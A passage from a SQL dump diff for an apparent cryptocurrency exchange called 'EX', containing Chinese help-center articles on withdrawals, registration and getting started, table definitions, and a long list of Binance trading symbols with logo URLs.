    ', 'zh', '1', '0', '2023-08-22 19:14:18', 'admin', '2023-08-22 19:14:18', 'admin', NULL, NULL); +INSERT INTO `t_help_center_info` VALUES (00000000000000000003, 5, '为什么提现不到账?', '

    当您从 EX 提取数字资产到其他平台时,若提币未到账,通常由以下情况造成:


    (1)区块未确认,提现无法正常到账。当您汇出后,这笔资金已经在区块中,需区块进行确认,区块确认时间不固定。如区块确认后仍然不到账,需联系对方平台进行核实。


    (2)资产未汇出,提现无法正常到账。当您的资产未汇出会显示提现中或等待提现,是系统正在排队汇出,是由于提现人数较多造成的,系统会按照当前提现用户提交时间逐一汇出,人工无法干预,麻烦您耐心等待,给您带来不便请您谅解。


    (3)提现无法正常到账。选择和汇入方地址一致的链或网络。


    在提现的时候,一定要选择与充币平台相同的链和网络。例如您从

    A平台提现到B平台,在A平台选择TRC链,在B平台选择ERC20的

    链,那么您的币是无法到账的。

    ', 'zh', '1', '0', '2023-08-22 19:45:40', 'admin', '2023-08-22 19:45:40', 'admin', NULL, NULL); +INSERT INTO `t_help_center_info` VALUES (00000000000000000004, 6, '新手攻略', '

    我们是全球领先的数字资产服务平台,拥有全球顶级专家组成的安全团队,可以为您的资产提供银行级的安全存储和保护。


    首次使用平台的用户,可以通过此文快速学会交易比特币等数字资产,并初步了解EX金融理财产品。买卖数字资产整体分为二步:


    第一步:交易前设置

    1:下载

    2:注册

    3:身份认证

    4:添加收款方式


    第二步:买币/卖币

    1:充值

    2:资金划转

    3:币币交易买币/卖币


    1:下载APP


    打开EX平台H5端,点击【下载图标】进入下载页面,然后选择下载通道,点击下载即可。


    2:注册


    点击右上角【头像】右下角【资产】或者其它功能进入登录界面,用户可以选择【用户名】【邮箱】或者【手机号】,按提示完成注册即可。


    3:身份认证


    为了给用户提供更好的平台交易体验,用户在完成注册,登录之后,点击主页右上角的【头像】,进入【侧边栏】页面,点击【身份认证】按提示完成身份认证即可。

    4:绑定银行卡


    用户在可以添加自己的银行卡

    ', 'zh', '1', '0', '2023-08-22 19:59:01', 'admin', '2023-08-22 20:02:45', 'admin', NULL, NULL); +INSERT INTO `t_help_center_info` VALUES (00000000000000000005, 6, '下载、注册', '

    EX拥有全球顶级专家组成的安全团队,可以为您的资产提供银行

    级的安全存储和保护。首次下载、注册EX平台,可以参照以下步

    骤操作。


    1:下载APP


    打开EX平台H5端,点击【下载图标】进入下载页面,然后选择下载通道,点击下载即可。


    2:注册


    点击右上角【头像】右下角【资产】或者其它功能进入登录界面,用户可以选择【用户名】【邮箱】或者【手机号】,按提示完成注册即可。


    ', 'zh', '1', '0', '2023-08-22 20:05:34', 'admin', '2023-08-22 20:06:06', 'admin', NULL, NULL); + +-- ---------------------------- +-- Table structure for t_home_setter +-- ---------------------------- +DROP TABLE IF EXISTS `t_home_setter`; +CREATE TABLE `t_home_setter` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT, + `title` varchar(255) CHARACTER SET utf8mb3 COLLATE utf8mb3_general_ci NOT NULL COMMENT '标题', + `author` varchar(255) CHARACTER SET utf8mb3 COLLATE utf8mb3_general_ci NULL DEFAULT NULL COMMENT '作者', + `content` text CHARACTER SET utf8mb3 COLLATE utf8mb3_general_ci NULL COMMENT '内容', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `img_url` varchar(255) CHARACTER SET utf8mb3 COLLATE utf8mb3_general_ci NULL DEFAULT NULL COMMENT '图片地址', + `sort` int(0) NOT NULL DEFAULT 0 COMMENT '排序', + `is_show` int(0) NOT NULL DEFAULT 0 COMMENT '是否展示 0展示 2不展示', + `language_name` varchar(255) CHARACTER SET utf8mb3 COLLATE utf8mb3_general_ci NULL DEFAULT NULL COMMENT '语言', + `likes_num` int(0) NULL DEFAULT 0 COMMENT '点赞数', + `home_type` int(0) NOT NULL DEFAULT 0 COMMENT '类型(0 首页文本 1 问题列表)', + `model_type` int(0) NULL DEFAULT NULL COMMENT '功能(0=首页 1=defi挖矿 2=助力贷)', + `search_value` varchar(1024) CHARACTER SET utf8mb3 COLLATE utf8mb3_general_ci NULL DEFAULT NULL, + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 1 CHARACTER SET = utf8mb3 COLLATE = utf8mb3_general_ci COMMENT = '规则说明表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for t_kline_symbol +-- ---------------------------- +DROP TABLE IF EXISTS `t_kline_symbol`; +CREATE TABLE `t_kline_symbol` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT 'id', + `market` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '交易所', + `symbol` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '币种简称', + `slug` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '币种名称', + `status` tinyint(0) NULL DEFAULT NULL COMMENT '是否开启', + `search_value` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `logo` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `remark` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '用户备注', + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + `create_time` datetime(0) NULL DEFAULT NULL, + `refer_market` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '参考币种交易所', + `refer_coin` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '参考币种', + `proportion` decimal(20, 4) NULL DEFAULT NULL COMMENT '价格百分比', + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 1341 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '数据源' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of t_kline_symbol +-- ---------------------------- +INSERT INTO `t_kline_symbol` VALUES (184, 'binance', 'LINK', 'LINK', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chainlink.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (185, 'binance', 'COCOS', 'COCOS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cocos-bcx.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (186, 'binance', 'COTI', 'COTI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/593df91f663ae2ea67a25f1fe28f7b90.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (187, 'binance', 'KAVA', 'KAVA', NULL, NULL, 'http://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/kava.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (188, 'binance', 'LEVER', 'LEVER', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lever.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (189, 'binance', 'LRC', 'LRC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/loopring.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (190, 'binance', 'RAY', 'RAY', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/raydium.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (191, 'binance', 'LTC', 'LTC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/litecoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (192, 'binance', '1000PEPE', '1000PEPE', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (193, 'binance', 'DGB', 'DGB', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/digibyte.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (194, 'binance', 'ETH', 'ETH', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethereum.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (195, 'binance', 'BNB', 'BNB', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/binance-coin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (196, 'binance', 'SOL', 'SOL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/solana.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (197, 'binance', 'EGLD', 'EGLD', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/elrond-erd-2.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (198, 'binance', 'ADA', 'ADA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cardano.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (199, 'binance', 'KNC', 'KNC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kyber-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (200, 'binance', 'BTCDOM', 'BTCDOM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitfinex-bitcoin-dominance-perps.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (201, 'binance', 'FTM', 'FTM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fantom.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (202, 'binance', 'PERP', 'PERP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/perpetual-protocol.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (203, 'binance', 'DOGE', 'DOGE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/dogecoin.png/coinInfo.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (204, 'binance', 'BTC', 'BTC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (205, 'binance', '1000LUNC', '1000LUNC', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (206, 'binance', 'BLZ', 'BLZ', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bluzelle.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (207, 'binance', 'NEAR', 'NEAR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/near-iounear.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (208, 'binance', 'PHB', 'PHB', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/red-pulse.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (209, 'binance', 'DOT', 'DOT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/polkadot-new.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (210, 'binance', 'ARPA', 'ARPA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/arpa.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (211, 'binance', 'ANT', 'ANT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aragon.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (212, 'binance', 'STMX', 'STMX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/storm.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (213, 'binance', 'CELR', 'CELR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/celer-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (214, 'binance', 'TRX', 'TRX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tron.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (215, 'binance', 'ETC', 'ETC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethereum-classic.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (216, 'binance', '1000SHIB', '1000SHIB', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (217, 'binance', 'AVAX', 'AVAX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/avalanche.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (218, 'binance', 'ARKM', 'ARKM', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (219, 'binance', 'KSM', 'KSM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kusama.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (220, 'binance', 'MTL', 'MTL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/metal.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (221, 'binance', 'XEM', 'XEM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nem.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (222, 'binance', 'FTT', 'FTT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ftx.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (223, 'binance', 'AAVE', 'AAVE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aavenew.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (224, 'binance', 'GMX', 'GMX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/goldmaxcoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (225, 'binance', 'ID', 'ID', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/space-id.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (226, 'binance', '1INCH', '1INCH', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/1inch.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (227, 'binance', 'CTSI', 'CTSI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cartesi.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (228, 'binance', 'TLM', 'TLM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/alien-worlds.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (229, 'binance', 'SNX', 'SNX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/havven.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (230, 'binance', 'GMT', 'GMT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/green-metaverse.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (231, 'binance', 'KLAY', 'KLAY', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/klaytn.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (232, 'binance', 'BAL', 'BAL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/balancer.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (233, 'binance', 'SFP', 'SFP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/safepal.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (234, 'binance', 'GTC', 'GTC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gitcoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (235, 'binance', 'AGIX', 'AGIX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/singularitynet-x.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (236, 'binance', 'ZEN', 'ZEN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zencash.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (237, 'binance', 'REEF', 'REEF', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/reef-finance.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (238, 'binance', 'BEL', 'BEL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bella-protocol.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (239, 'binance', 'DYDX', 'DYDX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dydx.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (240, 'binance', 'GALA', 'GALA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gala.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (241, 'binance', 'LQTY', 'LQTY', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/liquity.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (242, 'binance', 'ANC', 'ANC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/anchor-protocol.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (243, 'binance', 'IOST', 'IOST', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/iostoken.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (244, 'binance', 'NKN', 'NKN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nkn.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (245, 'binance', 'AMB', 'AMB', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/amber.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (246, 'binance', 'STG', 'STG', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stargate-finance.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (247, 'binance', 'BNX', 'BNX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/benex.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (248, 'binance', 'AGLD', 'AGLD', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/adventure-gold.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (249, 'binance', 'TRU', 'TRU', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/truefi.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (250, 'binance', 'HBAR', 'HBAR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hedera-hashgraphiou.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (251, 'binance', 'RDNT', 'RDNT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/radiant-capital.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (252, 'binance', 'APT', 'APT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aptos.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (253, 'binance', 'STX', 'STX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blockstack.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (254, 'binance', 'IDEX', 'IDEX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aurora-dao.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (255, 'binance', 'DAR', 'DAR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mines-of-dalarnia.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (256, 'binance', 'RAD', 'RAD', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/radicle.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (257, 'binance', 'YFI', 'YFI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yearn-finance.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (258, 'binance', 'COMP', 'COMP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/compound-governance-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (259, 'binance', 'GAL', 'GAL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/project-galaxy.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (260, 'binance', 'JASMY', 'JASMY', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/jasmycoin.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (261, 'binance', 'BTCST', 'BTCST', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/btc-standard-hashrate-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (262, 'binance', 'CELO', 'CELO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/celo-gold.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (263, 'binance', 'QTUM', 'QTUM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/qtum.png/coinInfo.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (264, 'binance', 'AUCTION', 'AUCTION', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/auction.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (265, 'binance', 'LIT', 'LIT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/litentry.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (266, 'binance', 'ASTR', 'ASTR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/astar.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (267, 'binance', 'ALGO', 'ALGO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/algorand.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (268, 'binance', 'MDT', 'MDT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/measurable-data-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (269, 'binance', 'DUSK', 'DUSK', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dusk-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (270, 'binance', 'ENS', 'ENS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethereum-name-service.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (271, 'binance', 'ATOM', 'ATOM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cosmos.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (272, 'binance', 'HOOK', 'HOOK', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hooked-protocol.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (273, 'binance', 'USDC', 'USDC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/usd-coin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (274, 'binance', 'VET', 'VET', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/vet.png/coinInfo.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (275, 'binance', 'UNI', 'UNI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/uniswap.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (276, 'binance', 'QNT', 'QNT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/qnt.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (277, 'binance', 'PEOPLE', 